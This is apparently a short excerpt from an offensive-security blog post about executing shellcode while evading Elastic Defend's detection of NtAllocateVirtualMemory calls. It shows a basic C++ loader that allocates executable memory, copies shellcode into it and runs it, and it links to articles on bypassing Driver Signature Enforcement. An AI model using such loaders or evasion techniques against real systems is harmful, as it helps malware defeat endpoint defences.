ProxyAlloc: evading NtAllocateVirtualMemory detection ft. Elastic Defend & Binary Ninja
In this article, we will explore a method for in-process shellcode execution evasion. This method is specifically designed to avoid the detection of NtAllocateVirtualMemory calls from unsigned DLLs.
DWORD protect{};
LPVOID virtualMemory = nullptr;
SIZE_T size = rawShellcodeLength;
this->api.NtAllocateVirtualMemory.call
(
NtCurrentProcess(), &virtualMemory, 0, &size,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
);
this->api.RtlMoveMemory.call(virtualMemory, rawShellcode, rawShellcodeLength);
(*(int(*)()) virtualMemory)();








PreviousThe dusk of g_CiOptions: circumventing DSE with VBS enabledNextOffset-free DSE bypass across Windows 11 & 10: utilising ntkrnlmp.pdb
Last updated